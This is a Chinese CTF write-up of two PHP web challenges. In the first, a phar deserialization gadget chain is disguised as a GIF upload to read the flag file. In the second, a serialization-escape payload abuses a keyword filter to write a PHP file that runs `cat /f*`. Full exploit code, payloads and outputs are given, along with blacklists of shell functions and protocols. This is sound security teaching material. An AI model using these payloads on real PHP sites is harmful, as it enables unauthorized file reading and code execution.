随便做了做,分低的没打
PHhhar!
题目介绍:
小聪明的程序员接过老板的命令,开发一个图片上传的网站,他为了方便给自己留了一个后门,想着反正是黑盒,没人能知道,老板在家背后凉飕飕的,觉得这个程序员不靠谱,现要求你去测试一下这个正在开发的网站
flag在/readddf1ag_getfl4g
思路
进去后是一个上传图片的网页,经测试和扫描后发现存在一些页面

dirsearch的扫描结果如下,其实应该还有个function.php
Target: http://175.27.251.122:33175/ [10:34:27] Starting: [10:34:50] 200 - 2KB - /file.php [10:35:03] 200 - 72KB - /php.ini
简单测试,发现function.php是用来上传文件的,file.php是用来读取文件的,对应题目描述中的”后门“。php.ini倒是看不出什么
通过file.php传参file可以读取文件,把题目源码读一下:
file.php
<?php header("content-type:text/html;charset=utf-8"); include 'function.php'; include 'class.php'; #ini_set('open_basedir','/var/www/html/phar2'); $file = $_GET["file"] ? $_GET['file'] : ""; if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; } $show = new Happy($file); if(file_exists($file)) { $show->source = $file; $show->_happy(); } else if (!empty($file)){ die('file doesn\'t exists.'); } ?>
class.php
<?php class new2025 { public $test; public $str; public function __construct() { $this->str = 'sdpcsec'; } public function __destruct() { $this->test = $this->str; echo $this->test; } } class Happy { public $source; public $str='ctf'; public $filename; public function __construct() { $this->source = 'ctf2025'; } public function __toString() { $this->{$_POST['method']}($_POST['var']); return $this->source; } public function __set($key,$value) { $this->$key = $value; } public function _happy() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function write($var){ $filename=$this->filename; $lt=$this->filename->$var; //提前祝大家新年快乐! } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { private $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "function.php"; } return $this->file_get($value); } public function file_get($value) { echo $value; $value= base64_encode(file_get_contents($value)); echo $value; } } ?>
function.php
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>图片检测器</title> <link rel="stylesheet" href="./index.css"> <link rel="icon" href="tor.ico" type="image/x-icon"> </head> <body> <div class="container"> <!-- 上传单个图片 --> <div class="container_form container-image"> <form action="function.php" method="post" class="form" id="form2" enctype="multipart/form-data"> <h1 class="form_title">Upload Image</h1> <input type="file" name="file" id="file" accept="image/*" required class="upload_image"> <br><br> <input type="hidden" name="upload" value="true"> <button type="submit" class="btn">Upload</button> </form> </div> <!-- 罩 --> <div class="container_mask"> <div class="mask"> <div class="mask_cover mask-left"> <button type="button" class="btn" id="image">Upload Image</button> </div> </div> </div> </div> <script> function getQueryParam(param) { const urlParams = new URLSearchParams(window.location.search); return urlParams.get(param); } const status = getQueryParam('status'); if (status) { switch (status) { case 'success': alert('Image uploaded successfully!'); break; case 'file_error': alert('Image upload failed, please try again!'); break; default: alert('Unknown error, please try again later!'); } } </script> </body> </html> <?php //show_source(__FILE__); $userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]); if (!file_exists($userdir)) { mkdir($userdir, 0777, true); } if (isset($_POST["upload"])) { // 允许上传的图片后缀 $allowedExts = array("gif", "jpeg", "jpg", "png"); $tmp_name = $_FILES["file"]["tmp_name"]; $file_name = $_FILES["file"]["name"]; $temp = explode(".", $file_name); $extension = end($temp); if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/png")) //&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb && in_array($extension, $allowedExts) ) { $c = new Chhheck($tmp_name); $c->incheck(); if ($_FILES["file"]["error"] > 0) { echo "错误:: " . $_FILES["file"]["error"] . "<br>"; die(); } else { move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension); echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension; } } else { echo "非法的文件格式"; } } class Chhheck{ public $file_name; function __construct($file_name){ $this->file_name = $file_name; } function incheck(){ $data = file_get_contents($this->file_name); if (mb_strpos($data, "<?") !== FALSE) { die("<? in contents!"); } } }
解题
答案很了然,结合题目名字也可看出是phar反序列化漏洞的利用
我们一步一步看,反序列化的题要一步一步来
首先看到Test类的file_get函数可以直接echo出文件内容:
class Test
{
private $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "function.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
echo $value;
$value= base64_encode(file_get_contents($value));
echo $value;
}
}
以及看到__get方法可以调用file_get,那就只要让其$params的#key键对应的值为/readddf1ag_getfl4g就行
__get是获取类的属性时被调用,那么我们找一找获取类属性的地方就行。
$b = new Test();
$b->params = array(#key=>"/readddf1ag_getfl4g");
// 找:
$b->#key;
我们发现,在Happy类中的write函数可以访问类的属性,我们只要让$this->filename为$b,$var为#key就行。
class Happy
{
public $source;
public $str='ctf';
public $filename;
public function __construct()
{
$this->source = 'ctf2025';
}
public function __toString()
{
$this->{$_POST['method']}($_POST['var']);
return $this->source;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _happy()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function write($var){
$filename=$this->filename;
$lt=$this->filename->$var;
//提前祝大家新年快乐!
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
发现__toString函数中可以调用自身的某个函数,那么我们POST相应参数就行
__toString是将类当作字符串时调用,常见于echo、正则等地方。
$b = new Test();
$b->params = array(#key=>"/readddf1ag_getfl4g");
$c = new Happy();
$c->filename = $b;
// 找:
$c->__toString();
// POST:method=write, var=#key
最后,new2025类中的__destruct中有echo,可以触发__toString,只要让$this->str为$c即可。
__destruct在变量销毁时自动触发,不用找别的触发点触发它,这样就结束了
发现对#key没有要求,随便起个source
$b = new Test();
$b->params = array("source"=>"/readddf1ag_getfl4g");
$c = new Happy();
$c->filename = $b;
$a = new new2025();
$a->str = $c;
// $a
// POST:method=write, var=source
我们用phar标准打包模板做一个phar.phar文件,然后压缩成gz文件即可
打包代码:
<?php
class new2025
{
public $test;
public $str;
}
class Happy
{
public $source;
public $str='ctf';
public $filename;
}
class Test
{
private $file;
public $params;
}
$b = new Test();
$b->params = array("source"=>"/readddf1ag_getfl4g");
$c = new Happy();
$c->filename = $b;
$a = new new2025();
$a->str = $c;
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
echo "end";
上传gz(改后缀为gif),访问:
/file.php?file=phar://upload/4f07ecd94ba0129c655025992111667d/4dafe3d539c1e9a7bcd5d0356c1feaae.gif/phar.phar
method=write&var=source
得到:
ZmxhZ3s4MWVlMzMwNC1iNWU4LTQ0OTItODRlMy02ZjZiYmY4YzAzNjZ9
即
flag{81ee3304-b5e8-4492-84e3-6f6bbf8c0366}
注意
有一道非常相似的题,怀疑根本没怎么改:
[CTF]WriteUp第24篇的[SWPUCTF 2018]SimplePHP
rot13
题目介绍:
m1xi@n写了一个rot13编码\解码器,但是他好像忽略了什么
此题答出后需带着关键截图找到出题人(2077841311)讲解思路后获取flag
思路

这题有源码,我们先看看:
decode.php
<?php include "func.php"; class Decode { public $value; public $key; public function __construct($input,$key) { $this->value = ($input); $this->key = $key; } public function __toString() { return $this->value; } public function __destruct() { tostring($this->key,$this->value); } }
encode.php
<?php include "func.php"; class Encode { public $value; public $key; public function __construct($input,$key) { $this->value = ($input); $this->key = $key; } public function __toString() { return $this->value; } public function __destruct() { tostring($this->key,$this->value); } }
func.php
<?php function filter($string) { $safe = array('system', 'eval', 'passthru', 'exec', 'shell_exec','popen'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } function WAF2($data){ $BlackList = array("\.\.", "\/"); foreach ($BlackList as $value) { if (preg_match("/" . $value . "/im", $data)) { myFunction($value); die($value."是不行哒"); } } return $data; } function myFunction($Data) { // 随机生成颜色 $name = getRandomName(); // 使用带有颜色的 <span> 标签美化字符串 echo $name . '说' .$Data . '不能出现哦'; } // 生成随机颜色 function WAF1($str){ $output = ''; $count = 0; foreach (str_split($str, 16) as $v) { $hex_string = implode(' ', str_split(bin2hex($v), 4)); $ascii_string = ''; foreach (str_split($v) as $c) { $ascii_string .= (($c < ' ' || $c > '~') ? '.' : $c); } $output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string); $count += 16; } return $output; } function getRandomName() { $names = array('m1xi@n', 'IC4_Flame', 'fake_s0ul'); $randomIndex = rand(0, count($names) - 1); return $names[$randomIndex]; } function tostring($input,$Input){ $key = WAF2($input); $value = WAF1($Input); file_put_contents($key, $value); }
index.php
<?php error_reporting(0); include "decode.php"; function _encode($code) { $encode = str_rot13($code); return $encode; } function _decode($code) { $decode = str_rot13($code); return $decode; } ?> <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="utf-8"> <title>Rot13 to base64编码/解码</title> <style type="text/css" media="all"> html, body { margin: 0; padding: 0; height: 100%; width: 100%; font-family: Tahoma, Lucida Grande, sans-serif; color: #333; } body { background: url('image/beijingtu.jpeg') no-repeat center center fixed; background-size: cover; /* 确保图片覆盖整个页面 */ } form { position: relative; z-index: 1; background: rgba(255, 255, 255, 0.9); /* 半透明背景 */ padding: 20px; border-radius: 10px; max-width: 600px; margin: 50px auto; box-shadow: 0 4px 10px rgba(0, 0, 0, 0.3); } textarea { width: 100%; height: 150px; margin-bottom: 15px; padding: 10px; border: 1px solid #ccc; border-radius: 5px; font-size: 14px; resize: none; } input[type="submit"] { padding: 10px 20px; border: none; border-radius: 5px; background-color: #0055CC; color: white; font-size: 14px; cursor: pointer; } input[type="submit"]:hover { background-color: #003E99; } h3 { text-align: center; color: white; text-shadow: 0 2px 5px rgba(0, 0, 0, 0.7); } </style> </head> <body> <h3>Rot13加密/解密</h3> <form method="post"> <textarea name="source" placeholder="输入文本进行加密或解密"> <?php if(!empty($_POST['source'])) { if($_POST['button']=='解码') { $base = new Decode($_POST['source'],"m1xi@n.txt"); $aa = filter(serialize($base)); unserialize($aa); $encoded_sring=htmlspecialchars(_decode(stripcslashes($base->value))); echo $encoded_sring; } if($_POST['button']=='编码') { $base = new Decode($_POST['source'],"m1xi@n.txt"); $aa = filter(serialize($base)); unserialize($aa); $decoded_sring=htmlspecialchars(_encode(stripcslashes($base->value))); echo $decoded_sring; } } ?> </textarea> <?php if(!empty($_POST['source'])){ if($_POST['button']=='编码') { echo ' 编码成功.'; } if($_POST['button']=='解码') { echo ' 解码成功.'; } }else{ echo ' ROT13 编码简单地使用字母表中后面第 13 个字母替换当前字母,同时忽略非字母表中的字符。在PHP中 ROT13 编码和解码都使用相同的函数 str_rot13() ,传递一个base64编码过的字符串作为参数,将得到原始字符串rot13编码后的字符串。'; } ?> <input type="submit" name="button" value="编码"> <input type="submit" name="button" value="解码"> </form> <h3>Just for fun.</h3>
解题
有点长,但是思路比较简单。无非也是反序列化的利用,说实话做多了有点烦。讲起来也不好讲。
这些代码简单理解就是用来加密解密的,没啥特殊,要用到关键有这几个:
class Decode {
public $value;
public $key;
public function __destruct()
{
tostring($this->key,$this->value);
}
}
// 省流:不让出现一些命令执行的字符串
function filter($string) {
$safe = array('system', 'eval', 'passthru', 'exec', 'shell_exec','popen');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
// 省流:文件名不能带有..和/
function WAF2($data){
$BlackList = array("\.\.", "\/");
foreach ($BlackList as $value) {
if (preg_match("/" . $value . "/im", $data)) {
myFunction($value);
die($value."是不行哒");
}
}
return $data;
}
// 省流:写入为特定格式
function WAF1($str){
$output = '';
$count = 0;
foreach (str_split($str, 16) as $v) {
$hex_string = implode(' ', str_split(bin2hex($v), 4));
$ascii_string = '';
foreach (str_split($v) as $c) {
$ascii_string .= (($c < ' ' || $c > '~') ? '.' : $c);
}
$output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string);
$count += 16;
}
return $output;
}
// 写入文件
function tostring($input,$Input){
$key = WAF2($input);
$value = WAF1($Input);
file_put_contents($key, $value);
}
WAF1:格式如下
00000000: 48656c6c 6f2c2057 6f726c64 21205468 Hello, World! Th
00000010: 69732069 73206120 74657374 20737472 is is a test str
00000020: 696e672e ing.
在index.php中有关键利用点:
$aa = filter(serialize($base));
unserialize($aa);
那么比较明显:通过filter替换词长前后不一导致反序列化逃逸,读取/flag即可
原理在之前讲过:[CTF]WriteUp第14篇的[0CTF 2016]piapiapia
先说WAF1的格式下我们怎么读取文件
其实只要利用好注释和通配符就行,相当于每行只有十多个字符可以写

控制好内容的位置即可
接下来看怎么反序列化逃逸
原本的序列化:
O:6:"Decode":2:{s:5:"value";s:5:"aaaaa";s:3:"key";s:10:"m1xi@n.txt";}
我们想要构造的:
O:6:"Decode":2:{s:5:"value";s:5:"<?php /*/**/echo`cat /f*`;";s:3:"key";s:10:"m1xi@n.php";}
我们要让s:5:"<?php中的5变成正确的数字34,可以用filter进行长度替换
例如原本是s:5:"popen",替换后就是s:5:"hacker"。发现数字5不变,那么我们只要控制长度即可
构造如下:(注意同时控制好空格的数量)
popenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopen <?php /**/echo`cat /f*`;";s:3:"key";s:10:"m1xi@n.php";}
带入原本的即为:
O:6:"Decode":2:{s:5:"value";s:224:"popenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopen <?php /**/echo`cat /f*`;";s:3:"key";s:10:"m1xi@n.php";}";s:3:"key";s:10:"m1xi@n.txt";}
替换后为:
O:6:"Decode":2:{s:5:"value";s:224:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker <?php /**/echo`cat /f*`;";s:3:"key";s:10:"m1xi@n.php";}";s:3:"key";s:10:"m1xi@n.txt";}
而反序列化闭合后会自动忽略后面的内容,因此后面重复的";s:3:"key";s:10:"m1xi@n.txt";}这部分会被丢弃
至此我们成功写入了文件读取到m1xi@n.php中
操作步骤:
将以下内容复制到文本框中,点击解码:
popenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopen <?php /**/echo`cat /f*`;";s:3:"key";s:10:"m1xi@n.php";}
访问/m1xi@n.php:
00000000: 6861 636b 6572 6861 636b 6572 6861 636b hackerhackerhack
00000010: 6572 6861 636b 6572 6861 636b 6572 6861 erhackerhackerha
00000020: 636b 6572 6861 636b 6572 6861 636b 6572 ckerhackerhacker
00000030: 6861 636b 6572 6861 636b 6572 6861 636b hackerhackerhack
00000040: 6572 6861 636b 6572 6861 636b 6572 6861 erhackerhackerha
00000050: 636b 6572 6861 636b 6572 6861 636b 6572 ckerhackerhacker
00000060: 6861 636b 6572 6861 636b 6572 6861 636b hackerhackerhack
00000070: 6572 6861 636b 6572 6861 636b 6572 6861 erhackerhackerha
00000080: 636b 6572 6861 636b 6572 6861 636b 6572 ckerhackerhacker
00000090: 6861 636b 6572 6861 636b 6572 6861 636b hackerhackerhack
000000a0: 6572 6861 636b 6572 6861 636b 6572 6861 erhackerhackerha
000000b0: 636b 6572 6861 636b 6572 2020 2020 2020 ckerhacker
000000c0: 3c3f 7068 7020 2020 2020 2020 2020 2f2a flag{1733b3ac-d9c4-44e5-b2f7-790140f11ba0}
其他的就没做了